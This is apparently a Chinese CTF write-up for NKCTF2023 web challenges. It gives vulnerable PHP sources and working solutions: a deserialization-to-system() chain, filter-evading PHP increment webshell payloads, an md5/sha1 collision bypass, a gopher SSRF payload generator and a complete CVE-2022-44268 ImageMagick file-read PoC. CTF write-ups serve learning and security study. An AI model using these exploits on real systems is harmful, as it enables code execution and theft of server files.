NKCTF2023&数字人才挑战赛web部分wp

发布时间 2023-03-27 21:59:19作者: GTL_JU

NKCTF2023

baby_php

考察点:php反序列化 命令执行

源码:

<?php
error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

链子很好构造,最终触发_invoke模式方法去执行eval函数进行命令执行

exp:

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg ;
        public function __construct(){
            $this->name = 'welcome_to_NKCTF';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    } 
$a=new Welcome();
$a->arg=new Hell0();
$a->arg->func=new Happy();
$a->arg->func->shell="system";
$a->arg->func->cmd="more /[e-h]1[0-b][e-h]";
echo(urlencode(serialize($a)));

这里过滤了f ,l, a,g所以导致我们无法使用ls查看文件目录

但是dir没有杯ban所以这里可以使用dir来进行查看目录

查看目录后flag在/f1ag·

然后*?也被禁了,直接使用[a-z]进行通配匹配

$a->arg->func->shell="system";
$a->arg->func->cmd="more /[e-h]1[0-b][e-h]";

image-20230327173452702

hard_php

考察点:自增,命令执行

源码:

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?>

这个过滤了很多,发现只要$ [] () _! = . ;+ /这些使用,那么很明显就是自增

直接构造自增链

$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);

从其他师傅哪里嫖到了一些可以直接用的自增链:

<?php
//$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
//246
//$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=($_/$_.$_)[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
//208
//$_=[].[];$__='';$_=$_[''];$_=($_/$_.$_)[''];$_=++$_;$__.=$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$__.=$_;$___='_';$___.=$__;$__=$$___;$__['_']($__['__']);
//176
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__.=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__.=$_;$_=_.$__.++$_;($_[_])($_[__]);
//119
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$___=$_;$_++;$_++;$_++;$_=_.$___.$__.$_.++$_;($$_[_])($$_[__]);
//117
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//113
//$_=([].[])[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//109
//$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
//95
//$_=(0/0).[];$_=$_[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);
//85
//$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]); 
//82
//$_=((_/_).[])[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//82
//$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//79
//$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_].$$_[__];  好像不能使用
//78
//$_=(_/_._)[_];$_++;$α=$_.$_++;$_++;$_++;$_++;$_=_.$α.$_.++$_;$$_[_]($$_[__]);
//77
//$_=(_/_._)[_];$_++;$α=$_.$_++;$_++;$_++;$_=_.$α.++$_.++$_;$$_[_]($$_[α]); 这个不行
//73
//$_=(_/_._)[_];$_++;$%FA=$_.$_++;$_++;$_++;$_=_.$%FA.++$_.++$_;$$_[_]($$_[%FA]);
//73

image-20230327174041700

然后执行phpinfo执行成功,但是在执行命令执行时发现无法执行成功

image-20230327174348033

是因为很多函数都被ban了

然后我们可以通过一些文件读取函数(readfile或highlight_file)之间去读取flag

image-20230327174524172

eazy_php

考察点:rce

源码:

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
                if(isset($_GET['NS_CTF.go'])){
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?>

这个应该是一个原题,很简单,当时趁着环境有问题,还拿了一血。

payload:

?a[]=1&b[]=2&e=114514.1&NS[CTF.go=1

c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&cmd=(~%8F%97%8F%96%91%99%90)();

image-20230327213405335

easy_pms

这个题目很怪啊,下午的时候还能打出来,晚上就打不出来了

网上搜到一个禅道系统权限绕过与命令执行的漏洞

感觉应该是个非预期,后面修复了

这里复现不了了,下面是我当时打的时候看的文章

禅道系统权限绕过与命令执行漏洞 - SecPulse.COM | 安全脉搏

(87条消息) 禅道项目管理系统RCE漏洞复现+利用_禅道漏洞_OidBoy_G的博客-CSDN博客

数字人才挑战赛

easy_curl

通过file协议读取到了index.php和flag.php的源码

index.php

<?php
error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$url=$_REQUEST['url'];
$x=parse_url($url);
if($x['scheme']==='gopher'||$x['scheme']==='file'){
	if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_exec($ch);
		curl_close($ch);
	}
	else{
		die('hacker');
	}
}
else{
	die('are you serious?');
}
?>

flag.php

<?php
error_reporting(0);

$flag=getenv("DASFLAG");
$key = md5($flag);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1 \n";
	echo "\n";
	echo $key;
    return;
}

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

发现index.php里面只允许使用file和gopher协议

那么这道题目考察的应该是gopher协议

然后看flag.php把flagmd5解密后当作key值输出

($_SERVER["REMOTE_ADDR"] != "127.0.0.1"

如果地址不是1270.0.1计划输出key,但是不能输出flag

flag要我们post把key传过去

但是上面的ifreturn没有返回值,所以我们要伪造地址为127.0.0.1

那么这里就可以使用gopher协议

exp:

import urllib.parse

payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLFL漏洞
result = 'gopher://127.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)

由于index.php对127.0进行了过滤我们这里可以使用127.1绕过

刚开始打的时候由于不知道真实主机地址,导致一直报错,然后在报错中找到了真实主机地址

payload:

gopher%3A//127.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%252010.252.15.12%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey=a1c5ac62f2623d260841743127bb6631%250D%250A

image-20230327182019630

imageUpload

cve-2022-44268

exp:

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
    if not filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'\x00', 1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    if not to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb') as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
        png.write_chunk(f, b'IEND', b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()

image-20230327213754275

image-20230327213729751

hex解密就会得到flag。